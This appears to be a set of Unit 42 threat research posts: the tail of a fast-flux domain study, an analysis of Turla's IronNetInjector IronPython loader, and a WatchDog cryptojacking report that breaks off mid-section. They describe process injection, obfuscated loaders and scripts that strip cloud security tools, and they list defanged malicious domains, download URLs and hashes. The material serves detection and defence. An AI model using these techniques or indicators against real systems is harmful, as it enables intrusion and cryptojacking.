Figure 6.b. heygamersnort[.]at campaign in Italian (screenshot source urlscan.io and Joe Sandbox).
This is an example of a relatively high-quality website set up by the domain heygamersnort[.]at, this one in English
Figure 6.d. heygamersnort[.]at campaign in German (screenshot source urlscan.io and Joe Sandbox).
This is an example of a relatively high-quality website set up by the domain heygamersnort[.]at, this one in German.
Figure 6.c. heygamersnort[.]at campaign in English (screenshot source urlscan.io and Joe Sandbox).
Users can look for multiple warning signs to avoid similar social engineering phishing and scam websites. First, when it looks “too good to be true,” then very likely, it is. If the cybercriminals could make 15,000 Euros a month easily, then they would not advertise how they do it. Second, these sites always convey a sense of urgency – they may say, “Only 28 free places left,” or include a timer counting down, making you think you only have a couple minutes to get rich.

Case Study: Smoke Loader Campaign C2

Our fast flux detector found multiple C2 domains related to the Smoke Loader malware family, such as jamb2[.]monster, tinnys[.]monster and netvxi[.]com. Unit 42 researchers have reported multiple instances of the Smoke Loader malware family, for example, related to a banking Trojan and a fake tsunami warning spam campaign.

Smoke Loader is a modular malware. When installed, it acts as a backdoor and allows attackers to download further malicious payloads from the C2 servers, which could be anything from ransomware to info stealers. The domains we discovered resolved to nearly 100 IP addresses in less than a two-week timeframe, where these IP addresses are located at many different ISPs and geolocations (mainly Eastern Europe, the Middle East and Central America).

Case Study: Illicit Gambling and Adult Sites

We found several large clusters of domains leveraging fast flux networks and at the same time hosting gambling and adult content. These sites are almost always in Chinese, as their activity is illegal in China. To evade detection and blocking, they usually use fast flux techniques. Typically, we observe that these domains point to hundreds of different IP addresses located all over the world (mainly North America, Western Europe and Asia). Furthermore, they only point to a given IP address a couple of times.

The domain 5651v[.]com (shown in Figure 7) is an example of such a gambling site resolving many IP addresses. The domain 99guise[.]com (Figure 8) is a typical example of gambling and adult content listing sites with dozens of links on the page.

Example of a gambling page, 5651v[.]com (translated to English). This domain resolved to many IP addresses.
Figure 7. Example of a gambling page, 5651v[.]com (translated to English).
The domain 99guise[.]com is a typical example of gambling and adult content listing sites with dozens of links on the page.
Figure 8. 99guise[.]com listing different gambling sites and adult content (not shown).
Worse than the illicit techniques they use to evade authorities, many of these sites offer mobile downloads to users that can frequently be malicious. The domains 612852[.]com and por99f9yw[.]com (Figures 9 and 10) both offer file downloads that were found to be malicious.

The domain 612852[.]com offers file downloads that were found to be malicious.
Figure 9. 612852[.]com offering an app download for Android.
The domain por99f9yw[.]com offers file downloads that were found to be malicious.
Figure 10. por99f9yw[.]com offering app download for Android and IOS.

Conclusion

There are various tactics and techniques available for cybercriminals to harden their systems against takedown and denylisting efforts such as fast fluxing, double fluxing and DGAs. While more basic techniques can be easily countered, advanced techniques result in a cat-and-mouse game between cybercriminals and law enforcement. Double fluxing can make IP-based denylists and host takedowns ineffective. DGA domains make static domain denylists and domain takeovers less effective.

At Palo Alto Networks, we automatically detect fast flux and DGA domains to protect our customers. Our detection results are built into multiple Palo Alto Networks Next-Generation Firewall security subscriptions, including URL Filtering and DNS Security.

Acknowledgements

We would like to thank Arun Kumar and Jun Javier Wang for their help with improving this blog post.

Indicators of Compromise (IOCs)

Social Engineering Campaign

  • heygamersnort[.]at
  • hXXp[:]//heygamersnort[.]at?gcGDRAewqASzXFDXcGCHjBJnhBGvFCCDRXTCyVBunINHBYGTFCRx
  • latestforexsoftware.blogspot[.]com
  • hXXp[:]//latestforexsoftware.blogspot[.]com/2020/12/earn-15000-euro-every-month.html

Smoke Loader C2 Campaign

  • Jamb2[.]monster
  • Tinnys[.]monster
  • Netvxi[.]com

Illicit Adult and Gambling Sites

  • 5651v[.]com
  • 99guise[.]com
  • 612852[.]com
  • por99f9yw[.]com

Additional Resources

IronNetInjector: Turla’s New Malware Loading Tool

Executive Summary

In recent years, more and more ready-made malware is released on software development hosting sites available for everybody to use – including threat actors. This not only saves the bad guys development time, but also makes it much easier for them to find new ideas to prevent detection of their malware.

Unit 42 researchers have found several malicious IronPython scripts whose purpose is to load and run Turla’s malware tools on a victim’s system. The use of IronPython for malicious purposes isn’t new, but the way Turla uses it is new. The overall method is known as Bring Your Own Interpreter (BYOI). It describes the use of an interpreter, not present on a system by default, to run malicious code of an interpreted programming or scripting language.

The first malicious IronPython scripts of the tool we describe here were discovered last year by a security researcher from FireEye. At the beginning of this year, another security researcher from Dragos pointed out some new scripts of the same threat actor uploaded to VirusTotal from two different submitters. We found that one of the submitters also uploaded two other samples, which are most likely embedded payloads of one of the IronPython scripts. These samples helped us to understand how this tool works, what malware it loads and which threat actor uses it.

While the IronPython scripts are only the first part of the tool, the main task of loading malware is done by an embedded process injector. We dubbed this toolchain IronNetInjector, the blend of IronPython and the injector’s internal project name NetInjector. In this blog, we describe the IronPython scripts and how they’re used to load one or more payloads with the help of an injector.

Palo Alto Networks customers are protected from this threat through WildFire and Cortex XDR. AutoFocus customers can investigate this activity with the tag “IronNetInjector”.

What Is IronPython?

First, let’s take a look at what IronPython is and why it was chosen as a loading vector. In the words of the IronPython team:

IronPython is an open-source implementation of the Python programming language which is tightly integrated with the .NET Framework. IronPython can use the .NET Framework and Python libraries, and other .NET languages can use Python code just as easily.

And further:

IronPython's sweet-spot is being able to use the .NET framework APIs directly from Python.

With IronPython, you can use .NET framework APIs directly in your Python script. It is a Python interpreter written entirely in C#. Currently, it fully supports Python 2, while support for Python 3 is still in development. As one of two official projects formerly developed by Microsoft, the other being IronRuby, it uses the Dynamic Language Runtime (DLR).

Now, it becomes clear why IronPython is also attractive for malware authors. You can make use of the .NET framework APIs without having to compile a .NET assembly. Of course, this requires the IronPython interpreter to also be present on the system, but that can be accomplished in different ways. Also, IronPython scripts don’t run with the original Python interpreter when .NET framework APIs are used in the code. In case of a sandbox that supports Python scripts, the interpreter would simply crash without any dynamic analysis result. Further, as IronPython is written in C# and thus its process contains all the Common Language Runtime (CLR) on execution, one can easily load additional assemblies.

IronNetInjector

IronNetInjector is made of an IronPython script that contains a .NET injector and one or more payloads. The payloads can be also .NET assemblies (x86/64) or native PEs (x86/64). When an IronPython script is run, the .NET injector gets loaded, which in turn injects the payload(s) into its own or a remote process.

The key features of the malicious IronPython scripts are as follows:

  • Function and variable names are obfuscated.
  • Strings are encrypted.
  • Contain an encrypted .NET injector and one or more encrypted PE payloads.
  • Take one argument that is the decryption key for the embedded .NET injector and PE payload(s).
  • Embedded .NET injector and payload(s) are encoded with Base64 and encrypted with Rijndael.
  • Log messages are written to %PUBLIC%\Metadata.dat
  • Error messages are written to %PUBLIC%\Metaclass.dat

The following screenshot shows one of the IronPython scripts decoded:

Figure 1. Decoded IronPython script with embedded .NET injector and ComRAT payload (both shortened).
Figure 1. Decoded IronPython script with embedded .NET injector and ComRAT payload (both shortened).

We have found two versions of the .NET injector, a newer variant internally named NetInjector compiled in 2019 and an earlier variant named PeInjector_x64 compiled in 2018. The earlier variant is much more limited in functionality compared to the 2019 variant.

Both versions are full-blown PE injection tools able to load a native x86/64 payload reflectively into a remote process. This is accomplished via unmanaged functions and the use of PeNet, a publicly available PE parser library written in C#. The decompiled code is self-explanatory as meaningful function, method and variable names are used throughout the code. Additionally, log and error messages are being used extensively.

Most of the code of the 2018 variant is taken from PowerShell Empire’s ReflectivePEInjection script and got translated into C#. It’s written in a much more specific manner than the 2019 variant, which is a generically written injection tool. The newer version additionally contains the ability to inject .NET assemblies into unmanaged processes. Also, it can load payloads into its own process space, the IronPython interpreter process.

The newer injector has the following PDB path left:

C:\Users\Devel\source\repos\c4\agent\build_tools\agent_dll_to_Python_loader\NetInjector\NetInjector\obj\Release\NetInjector.pdb

The same submitters who uploaded the IronPython scripts also submitted other files which are directly related to IronNetInjector. Based on the file sizes and the file sizes of the embedded payloads in the IronPython scripts, we can make some assumptions about what the payloads likely are.

The following table shows the IronPython scripts categorized by the different VirusTotal submitters. It also shows which other samples uploaded by the same submitter or the other submitters are connected and gives the assumed embedded malware:

Submitter IronPython script(s) uploads Related samples uploaded by same submitter Payload assumptions
1 • prophile.py
• profilec.py
• IronPython-2.7.7z: Portable IronPython version that contains the two IronPython scripts and a Windows task XML to start profilec.py • prophile.py: .NET injector (variant 2018) + RPC backdoor variant
• profilec.py: .NET injector (variant 2019) + ComRAT variant
2 • profile.py - • profile.py: .NET injector (variant 2019) + ComRAT variant
3 • 10profilec.py
• 120profilec.py
• 220profile.py
- • 10profilec.py: .NET injector (variant 2018) + ComRAT variant
• 120profilec.py: .NET injector (variant 2019) + ComRAT variant
• 220profile.py: .NET injector (variant 2018) + Unknown
4 • profilec.py • NetInjector.dll: .NET injector (variant 2019), most likely embedded .NET injector in profilec.py of same submitter
• payload.exe: ComRAT v4 variant (DLL), most likely embedded in profilec.py of same submitter
-
5 - • part_1.data: .NET injector (variant 2018), most likely embedded in prophile.py of submitter 1
• part_2.data: RPC backdoor variant, most likely embedded in prophile.py of submitter 1
• part_3.data: RPC backdoor variant, most likely embedded in prophile.py of submitter 1
-

Table 1. Categorized IronPython samples according to VirusTotal submitters and their assumed payloads.

It becomes clear that IronNetInjector is mostly used to load ComRAT. In one case, a variant of the RPC backdoor is used and in another a payload that we couldn’t associate with known malware.

We also couldn’t verify how the IronPython scripts get run in the first place. One of the submitters uploaded a 7-Zip archive with the contents of the IronPython MSI file of version 2.7.0.40 from 2011. This archive also contains two IronPython scripts (see table) and a Windows task XML file named mssch.xml with the following content:

Figure 2. Windows task XML file for IronNetInjector.
Figure 2. Windows task XML file for IronNetInjector.

The task is used to start an IronPython script with the 64-bit version of the interpreter. As a command line argument, the Rijndael decryption key is passed. However, the key didn’t decrypt on any of the embedded files in the scripts we found. The task’s description is PythonUpdateSrvc and it runs either on Windows startup when a user logs in or when one of two system events get created:

Figure 3. IronNetInjector task triggers.
Figure 3. IronNetInjector task triggers.

Depending on the system, the event with ID 8001 belongs to Microsoft Internet Information Services (IIS), Microsoft Exchange Server or Windows Server (Source: Netsurion EventTracker). The other event with ID 5324 is likely related to the logoff from Winlogon. Both triggers only happen when these events appear in the Microsoft-Windows-GroupPolicy(/Operational) event logs.

When we consider that the files in the 7-Zip archive were all taken from the same directory, we can make some assumptions. The attacker might have used the IronPython MSI to install the interpreter to C:\ProgramData\IronPython-2.7 on the victim’s system. The IronPython scripts and the Windows task XML were placed in the same directory. The task file is then used to create a task which in turn starts a script when triggered. However, it’s also possible that the submitter collected the files from different places and just bundled them into an archive for scanning purposes. It’s also unclear why the attacker would use such an old version of IronPython.

A Brief Walkthrough

Let’s go briefly through the execution flow based on one of the scripts of VirusTotal submitter 4 that contains the 2019 variant of the injector and a ComRAT variant (SHA256: 3aa37559ef282ee3ee67c4a61ce4786e38d5bbe19bdcbeae0ef504d79be752b6).

When an IronPython script is run, it is loaded into the IronPython interpreter. In the IronPython script, the embedded .NET injector (SHA256: a56f69726a237455bac4c9ac7a20398ba1f50d2895e5b0a8ac7f1cdb288c32cc) and ComRAT DLL payload (SHA256: a62e1a866bc248398b6abe48fdb44f482f91d19ccd52d9447cda9bc074617d56) get decoded and decrypted. This is done with the Python Base64 module and the RijndaelManaged class from the C# cryptography namespace. The decryption key is passed as an argument to the IronPython script. The Rijndael initialization vector (IV) is stored in the script. Next, the .NET injector gets loaded into the IronPython process with the help of the Assembly.Load() method of the C# Reflection namespace. That's possible because IronPython itself is a .NET assembly and thus its process already contains all the .NET runtime libraries.

After the injector assembly is loaded, the ID of the process where the ComRAT DLL gets injected is retrieved. In this case, the explorer.exe was chosen. This routine to get the PID slightly differs in the IronPython scripts we found. While one script uses the C# method GetProcessesByName() to get the PID, the other scripts run the Windows tool tasklist.exe with the help of the Python os.popen() function. The output is then parsed to the targeted process ID with the help of tasklist filters. Also, some scripts filter the PID based on a Windows service name. When the PID is found, an instance of the injector assembly is created and the ComRAT payload bytes and PID are passed.

Figure 4. PID retrieval function variations in the different IronPython scripts.
Figure 4. PID retrieval function variations in the different IronPython scripts.

Finally, the injector's public methods Invoke() and InvokeVoid() get called. In the latter, the exported function name VFEP of the ComRAT payload gets passed. From this point on, the .NET injector takes control over the further execution.

The .NET injector contains the following namespaces:

  • DefaultSerializer
  • PeNet
  • PeNet.Parser
  • PeNet.Structures
  • PeNet.Structures.MetaDataTables
  • PeNet.Structures.MetaDataTables.Parsers
  • PeNet.Utilities

While the PeNet code is copied from the project, the namespace DefaultSerializer contains the injector code and is made of the following classes:

  • DefaultSerializer: Contains the injector code.
  • NetBootstrapper: Contains 32-/64-bit bootstrappers to load an assembly into an unmanaged process.
  • Win32: Contains the imported unmanaged function declarations and win32 structures/constants.

The DefaultSerializer class exposes four public methods:

  • InjectAssembly
  • Invoke
  • InvokeAssemblyMethod
  • InvokeVoid

These methods are used pairwise. The method InjectAssembly is used to inject a .NET assembly into a native process (or its own) and InvokeAssemblyMethod to call any chosen method of the injected assembly. The method Invoke is used to inject a native PE into a remote process and InvokeVoid to call any exported function of the injected payload.

Figure 5. Decompiled NetInjector code.
Figure 5. Decompiled NetInjector code.

Depending on the number of arguments passed to DefaultSerializer on creation time, the payload is either loaded into its own process or a remote one. In case only the payload bytes are passed, it gets loaded into its own process space. The other options are to also pass the ID or handle of the remote process the payload gets injected to.

In our case, the second option is used with the PID of explorer.exe to load the ComRAT payload reflectively into the process.

One other interesting aspect of the injector is its ability to load an assembly into an unmanaged process. This needs some preparation in the remote process, as you cannot simply load and execute a .NET assembly there if the CLR isn’t present. This is accomplished with a native bootstrapper DLL, which gets injected into the remote process and prepares it so a .NET assembly can be injected afterwards.

There are two bootstrappers (x86/64) contained in the NetBootstrapper class, which have the following PDB paths left:

F:\Dev\NetInjector\bin\Release\NetBootstrapper_Win32.pdb

F:\Dev\NetInjector\bin\Release\NetBootstrapper_x64.pdb

Just like the injector itself, the bootstrappers contain meaningful function names (exported functions) and useful log messages. It uses the following exported functions:

  • Bootstrap: Load CLR services into process.
  • GetMethodResult: Get method result from InvokeMethod.
  • InvokeMethod: Call method of injected assembly passed as a parameter.
  • LoadAssembly: Load .NET assembly passed as a parameter.
  • StartClrRuntime: Same as Bootstrap.

These functions are called from the injector to prepare and load a .NET assembly payload from the IronPython script into a remote process.

In all the IronPython scripts we found, only the native payload to native remote process injection option is used.

Conclusion

IronNetInjector is another toolset in Turla’s ever-growing arsenal, made of an IronPython script and an injector. It’s similar in structure to the previously used in-memory loading mechanism to execute malware with the help of PowerShell scripts. These scripts contain an embedded PE loader to execute an embedded malware payload.

The tool we discussed in this blogpost was likely developed to move away from PowerShell towards .NET. This general trend can be seen in recent years as detection of Powershell based threats became better, but also due to security mechanisms like AMSI introduced by Microsoft.

The .NET injectors and bootstrappers contain clean code and meaningful function/method/variable names, and they use detailed log/error messages. Only the initial IronPython scripts are obfuscated to prevent easy detection.

There are still some questions we need answers for, such as what other samples get loaded beside ComRAT and the RPC backdoor? How do the IronPython scripts get run? And how is the interpreter deployed to a victim’s system?

We will continue to monitor for this malware loading tool to get the missing pieces of the puzzle.

Palo Alto Networks customers are protected from this malware tool. Our threat prevention platform WildFire detects it as malicious. Our extended detection and response platform Cortex XDR can identify and block the malware execution. AutoFocus customers can track the activity with the tag “IronNetInjector”.

Indicators of Compromise

IronPython scripts

b641687696b66e6e820618acc4765162298ba3e9106df4ef44b2218086ce8040 (prophile.py, submitter 1)

c430ebab4bf827303bc4ad95d40eecc7988bdc17cc139c8f88466bc536755d4e (profilec.py, submitter 1)

c1b8ecce81cf4ff45d9032dc554efdc7a1ab776a2d24fdb34d1ffce15ef61aad (profile.py, submitter 2)

8df0c705da0eab20ba977b608f5a19536e53e89b14e4a7863b7fd534bd75fd72 (10profilec.py, submitter 3)

b5b4d06e1668d11114b99dbd267cde784d33a3f546993d09ede8b9394d90ebb3 (120profilec.py, submitter 3)

b095fd3bd3ed8be178dafe47fc00c5821ea31d3f67d658910610a06a1252f47d (220profile.py, submitter 3)

3aa37559ef282ee3ee67c4a61ce4786e38d5bbe19bdcbeae0ef504d79be752b6 (profilec.py, submitter 4)

Injector samples

a56f69726a237455bac4c9ac7a20398ba1f50d2895e5b0a8ac7f1cdb288c32cc (2019 variant, submitter 4)

c59fadeb8f58bbdbd73d9a2ac0d889d1a0a06295f1b914c0bd5617cfb1a08ce9 (2018 variant, submitter 5)

Bootstrapper samples

63d7695dabefb97aa30cbe522647c95395b44321e1a3b08b8028e4000d1be15e

ba17af72a9d90822eed447b8526fb68963f0cde78df07c16902dc5a0c44536c4

Related samples

82333533f7f7cb4123bceee76358b36d4110e03c2219b80dced5a4d63424cc93 (IronPython-2.7.7z, submitter 1)

a62e1a866bc248398b6abe48fdb44f482f91d19ccd52d9447cda9bc074617d56 (ComRAT v4 variant, submitter 4)

18c173433daafcc3aea17fc4f7792d0ff235f4075a00feda88aa1c9f8f6e1746 (RPC backdoor variant, submitter 5)

a64e79a81b5089084ff88e3f4130e9d5fa75e732a1d310a1ae8de767cbbab061 (RPC backdoor variant, submitter 5)

 

WatchDog: Exposing a Cryptojacking Campaign That’s Operated for Two Years

Executive Summary

Unit 42 researchers are exposing one of the largest and longest-lasting Monero cryptojacking operations known to exist. The operation is called WatchDog, taken from the name of a Linux daemon called watchdogd. The WatchDog mining operation has been running since Jan. 27, 2019, and has collected at least 209 Monero (XMR), valued to be around $32,056 USD. Researchers have determined that at least 476 compromised systems, composed primarily of Windows and NIX cloud instances, have been performing mining operations at any one time for over two years.

Cryptojacking is the process of performing cryptomining operations on systems which are not owned and maintained by the mining operators. Malicious cryptojacking operations are currently estimated to affect 23% of cloud environments, up from 8% in 2018. This increase is primarily caused by the meteoric rise in cryptocurrencies’ valuation. The global market for blockchain, the technology behind cryptocurrency, is anticipated to reach $60.7 billion by 2024, and criminal organizations and actor groups are trying to cash in on this.

Within this blog, Unit 42 researchers provide an overview of the WatchDog cryptojacking campaign. The WatchDog miner is composed of a three-part Go Language binary set and a bash or PowerShell script file. The binaries perform specific functionality, one of which emulates the Linux watchdogd daemon functionality by ensuring that the mining process does not hang, overload or terminate unexpectedly. The second Go binary downloads a configurable list of IP addresses net ranges before providing the functionality of targeted exploitation operations of identified NIX or Windows systems discovered during the scanning operation. Finally, the third Go binary script will initiate a mining operation on either Windows or NIX operating systems (OS) using custom configurations from the initiated bash or PowerShell script. WatchDog’s usage of Go binaries allows it to perform the stated operations across different operating systems using the same binaries, i.e. Windows and NIX, as long as the Go Language platform is installed on the target system.

Researchers have mapped out the infrastructure behind the mining operations. They have identified 18 root IP endpoints and seven malicious domains, which serve at least 125 malicious URL addresses used to download its toolset.

Unit 42 reported on Graboid, a wormable Monero mining operation on Docker Hub, in October 2019. Graboid was the largest known mining operation to date in terms of the total number of active systems. At the time of its operation, it consisted of at least 2,000 exposed and compromised Docker Daemon APIs systems. Each Graboid miner was operational 65% of the time, meaning around 1,300 compromised Docker containers were mining at any one time. Additionally, Graboid could have also achieved higher processing speeds due to the configuration script utilizing all available container central processing units (CPUs). However, Graboid was only known to operate for up to three months before its Docker Hub images were removed.

WatchDog, on the other hand, does not rely on a third-party site to host its malicious payload, allowing it to have remained active for more than two years at the time of this writing.

It is clear that the WatchDog operators are skilled coders and have enjoyed a relative lack of attention regarding their mining operations. While there is currently no indication of additional cloud compromising activity at present (i.e. the capturing of cloud platform identity and access management (IAM) credentials, access ID or keys), there could be potential for further cloud account compromise. It is highly likely these actors could find IAM-related information on the cloud systems they have already compromised, due to the root and administrative access acquired during the implantation of their cryptojacking software.

Palo Alto Networks Prisma Access is configured to detect each of WatchDog’s 18 IP addresses, seven domains and their associated URL addresses through PAN-OS. Prisma Cloud also detects the usage of malicious XMRig processes used by the WatchDog miner operating in cloud environments that have Prisma Cloud Compute Defender installed.

Public Mining Pools

Unit 42 researchers have identified three XMR wallet addresses within WatchDog configuration files. These configuration files are downloaded alongside the WatchDog mining binaries and contain the XMR wallet address and the mining pool(s) to be used during the mining operations. See Figure 1 for an example of the configuration file config.json.

An example of the configuration files downloaded alongside the WatchDog mining binaries. These contain the XMR wallet address and the mining pool(s) to be used during the mining operations.
Figure 1. config.json file detailing the XMR wallet address.

Examining all known config.json files used by WatchDog, Unit 42 researchers have identified three XMR wallet addresses as:

43zqYTWj1JG1H1idZFQWwJZLTos3hbJ5iR3tJpEtwEi43UBbzPeaQxCRysdjYTtdc8aHao7csiWa5BTP9PfNYzyfSbbrwoR

82etS8QzVhqdiL6LMbb85BdEC3KgJeRGT3X1F3DQBnJa2tzgBJ54bn4aNDjuWDtpygBsRqcfGRK4gbbw3xUy3oJv7TwpUG4

87q6aU1M9xmQ5p3wh8Jzst5mcFfDzKEuuDjV6u7Q7UDnAXJR7FLeQH2UYFzhQatde2WHuZ9LbxRsf3PGA8gpnGXL3G7iWMv

These three XMR wallet addresses are used with at least three public mining pools and one private mining pool to process mining operations, performance, functionality and payments.

Mining Pool Port Public or Private
xmr.f2pool[.]com 13531 Public
xmr-eu2.nanopool[.]org 14444 Public
xmr.pool.gntl[.]co.uk 40009 Public
80[.]211[.]206[.]105 6666 Private

Table 1. Public and private mining pools used by the WatchDog miner.

The following eight screenshots illustrate the findings gathered from the f2pool, nanopool and the GNTL public mining pools for each of the three XMR wallets identified.

f2pool mining pool

Figures 2 and 3 illustrate the XMR address beginning with “43zq” being heavily used within the f2pool public mining pool, pulling in roughly 200 Monero. Meanwhile, the XMR wallet address starting with “82et” operates at a much lower scale and has only pulled in 2.3 XMR (see Figures 4 and 5).

This shows the XMR total for wallet 43zq in the f2pool public mining pool, pulling in roughly 200 Monero.
Figure 2. XMR wallet 43zq and its XMR total.
XMR wallet 43zq was heavily used by WatchDog within the f2pool public mining pool. The image shows its 30-day hashrate.
Figure 3. XMR wallet 43zq and its 30-day hashrate.
This shows the XMR total for wallet 82et in the f2pool public mining pool, pulling in only 2.3 Monero.
Figure 4. XMR wallet 82et and its XMR total.
XMR wallet 82et was less used by WatchDog within the f2pool public mining pool. The image shows its 30-day hashrate.
Figure 5. XMR wallet 82et and its 30-day hashrate.

Nanopool mining pool

XMR address beginning with “82et” was less active within the f2pool public mining pool, but it is more involved within the nanopool public mining pool (see Figures 6 and 7) than the XMR wallet address beginning with “43zq” (see Figures 8 and 9). However, the nanopool mining operation only equates to a fraction of the total XMR mined by the WatchDog mining operation as a whole, with 6.8 XMR coins mined to date.

XMR wallet 82et was more involved within the nanopool public mining pool. See its lifetime hashrate and balance shown here.
Figure 6. XMR wallet 82et and its lifetime hashrate.
XMR wallet 82et is shown here with its XMR payouts. Within the nanopool public mining pool, this wallet shows 6.8 XMR coins mined to date.
Figure 7. XMR wallet 82et and its XMR payouts.
The image shows XMR wallet 43zq and its lifetime hashrate within the nanopool public mining pool for comparison.
Figure 8. XMR wallet 43zq and its lifetime hashrate.
The XMR total payout for XMR wallet 43zq within the nanopool public mining pool amounts to a mere fraction of the total WatchDog mining operation.
Figure 9. XMR wallet 43zq and its XMR total payout.

GNTL XMR mining pool

A single configuration file has been identified that links the potential of the wallet that begins with “87qa” to all three public mining pools listed here, but only GNTL displayed any mining operations related to the “87qa” XMR wallet (see Figure 10). However, this XMR wallet address does not seem to be greatly used within the WatchDog operations. As of this writing, only .59 XMR has been mined from GNTL using the “87qa” XMR address (see Figures 10 and 11).

The GNTL XMR mining pool is the only one of the three public mining pools listed here that displayed mining operations related to the 87qa XMR wallet. The image shows its XMR hashrate.
Figure 10. XMR wallet 87qa and XMR hashrate.
As of this writing, only .59 XMR has been mined from GNTL using the 87qa XMR address.
Figure 11. XMR wallet 87qa and all XMR payouts.

Out of the data collected from all three of the public mining pools, Unit 42 researchers calculated an average of 1,037KH/s hash rate from the XMR wallets across the public mining pools. Researchers then developed an estimate of the current number of systems actively participating in the cryptomining operation. Researchers conservatively estimate that an average of 476 systems are actively involved within the WatchDog mining operation at any one time.

This estimation was calculated using the documentation on CPU architecture from several of the largest cloud providers. All cloud providers advertise the use of Intel Xeon E5 and AMD EPYC CPUs for a majority of their cloud VM instances.

We can use the popular XMR mining software XMRig’s benchmark hash calculator to calculate the hash rates for mid-range Intel Xeon E5 and AMD EPYC series 7 processors. A single thread on each processor can produce an estimated hash rate of 543 H/s (hashes per second) for the AMD EPYC series 7 and 544 H/s for the Intel Xeon E5. When taking into account the WatchDog miner configuration file, config.json, the miner will use at most four threads on the compromised system (see Figure 12).

When taking into account the WatchDog miner configuration file, config.json, the miner will use at most four threads on the compromised system.
Figure 12. WatchDog miner CPU configuration.

This will result in the compromised system processing a total average of 2,172-2,176 H/s using at most four threads as per the configuration guide. With an average total of 1,037 KH/s (thousand hashes per second) of processing for the total WatchDog miner operation, this leaves a potential total of 476 systems participating in the mining operation at any one time.

The number of systems would depend upon the VM instance type that was compromised and used. It is important to note that not every compromised system would be able to process XMRig operations to the same scale. It is possible that double this estimated number, nearly 900 systems, could be operating at any one time. This size of a mining operation is achievable if smaller, less robust, cloud VM instances were compromised and used to process XMR hashes.

WatchDog Infrastructure

The WatchDog miner has been active since at least Jan. 27, 2019, as witnessed from the public mining pool data. Since that time, a number of malware samples have been identified that point to WatchDog infrastructure, specifically the initialization bash script that begins the system and mining configuration process for newly compromised systems.

Through analysis of these initialization bash scripts, Unit 42 researchers were able to track how WatchDog actors set up mining operations on a compromised system. The authors of the script tipped their hand to show how they set up and configure their mining infrastructure. Within every known operation, the initialization bash script is downloaded onto the compromised system and performs a series of functions. Several of the functions are common to a majority of cryptojacking operations, namely the removal of cloud security tools, the removal of previously installed and known malicious cryptomining software, and then the downloading and setup of the customized malicious cryptomining software. However, the WatchDog bash script miner also hardcodes a primary and secondary URL address that are used to download the WatchDog mining toolkit (see Figure 13).

The WatchDog bash script miner hardcodes a primary and secondary URL address that are used to download the WatchDog mining toolkit.
Figure 13. Establishing command and control (C2).

Using these primary and secondary URL addresses, Unit 42 researchers were able to map a rough estimation of the network infrastructure used by the WatchDog miner operators.

The following Maltego chart illustrates the overall size of the known operation infrastructure used by WatchDog (see Figure 14).

This Maltego chart illustrates the overall size of the known operation infrastructure used by WatchDog.
Figure 14. Maltego chart of the WatchDog miner operation.

To date, there are currently 18 known IP addresses and seven known domains hosting at least 125 URLs that have served or continue to serve the WatchDog miner malware and configuration files. While the majority of the malware appears to be focused on *NIX OS systems, there are several Windows OS binaries that are also hosted on several of the known host systems.

39.100.33[.]209
45.153.240[.]58
45.9.148[.]37
93.115.23[.]117
95.182.122[.]199
106.15.74[.]113
107.173.159[.]206
146.71.79[.]230
185.181.10[.]234
185.232.65[.]124
185.232.65[.]191
185.232.65[.]192
185.247.117[.]64
198.98.57[.]187
199.19.226[.]117
204.44.105[.]168
205.209.152[.]78
208.109.11[.]21

Table 2. The 18 known IP addresses associated with the WatchDog miner.

de.gengine[.]com.de
de.gsearch[.]com.de
global.bitmex[.]com.de
ipzse[.]com
py2web[.]store
sjjjv[.]xyz
us.gsearch[.]com.de

Table 3. The seven known domains associated with the WatchDog miner.

For a full list of the known URL Addresses associated with the WatchDog mining operation, see the Indicators of Compromise (IOC) section of this blog.

Researchers found that several of these host systems were still operational at the time the research for this blog was being conducted. Due to the live status, researchers were able to pull down several of the malicious files for further analysis. A full IOC breakdown of the files and their SHA-256 hash is listed below within the IOC section.

WatchDog Malware Breakdown

Unit 42 researchers selected five interrelated malware samples to explain their functionality. The cryptojacking operation appears to begin with a bash script, newdat.sh, which defines the downloadable content for three separate Go binary files and one JSON configuration file config.json. The Go binaries detailed within this blog are a network scanner and exploitation binary called networkmanager, a process monitoring binary called phpguard, and a version of the malicious XMRig cryptomining software called phpupdate.

newdat.sh

Unit 42 researchers have identified four different filenames for bash scripts that perform the same infrastructure, network scanning and system configuration operations. These file names are init.sh, newinit.sh, newdat.sh and update.sh.

There are eight unique operations within the initialization script:

  • Environmental setup
    • Configure file and directory read/write permissions and save downloaded files to preconfigured locations.
  • Uninstallation of cloud security tools
  • Download toolkit
    • Download three Go Binaries and a configuration file.
  • kill_miner_proc
    • Killing known mining processes.
  • kill_sus_proc
    • Killing previously installed WatchDog mining processes.
  • downloads
    • Downloads IP address ranges to be used for scanning.
  • unlock_cron
    • Unlocks the /etc/crontab file.
  • lock_cron
    • Locks the /etc/crontab file.

 

Perhaps one of the most useful script operations identified by Unit 42 researchers is the section pertaining to the download location of the WatchDog toolkit. As illustrated within the previous infrastructure section, the scripts detailed which endpoints are currently hosting the malicious cryptojacking files.

The figure shows hardcoded links within the newdat.sh script that point to URL addresses and identify the miner binary, the configuration files, the scanning binary, the WatchDog process and another version of the initial script itself.
Figure 15. Establishing command and control (C2).

As can be seen in Figure 15, there are hardcoded links within the newdat.sh script that point to URL addresses and identify the miner binary, the configuration files, the scanning binary and the WatchDog process – and even another version of the initial script itself. This could allow the actors to update the active miners in near realtime.

Each of these binaries will be investigated in the following sections. First up is the Go language scanning binary, networkmanager.

networkmanager

The networkmanager binary is a UPX-compressed Go language binary designed to scan networks and, when a vulnerable target is identified, attempt to compromise that identified system using a robust set of built-in application exploits. Researchers have identified two different file names used by the actors to name their binaries that perform the same scanning and exploitation function. Those names are networkmanager and networkservice.

While scanning operations are initiated via the newdat.sh bash script detailed above, the scanner binary will perform the actual scanning and exploitation operations. The WatchDog scanning binary uses a file composed of 60,634 individual Chinese IP net ranges, which is downloaded during the system detection phase of the networkmanager binary. Within the Go binary’s main initialization function, sym.go.main.ipc.download_ipdb, the networkmanager binary requests and then downloads one of two possible IP address netrange files:

http://83.97.20[.]90/cccf67356/ip_cn.txt

http://83.97.20[.]90/cccf67356/ips_cn.txt

The IP address net ranges were stored in binary format and upon conversion to ASCII revealed the targeted IP address net ranges (see Figure 16).

The IP address net ranges were stored in binary format and upon conversion to ASCII revealed the targeted IP address net ranges.
Figure 16. An example of the ip_cn.txt Chinese net ranges.

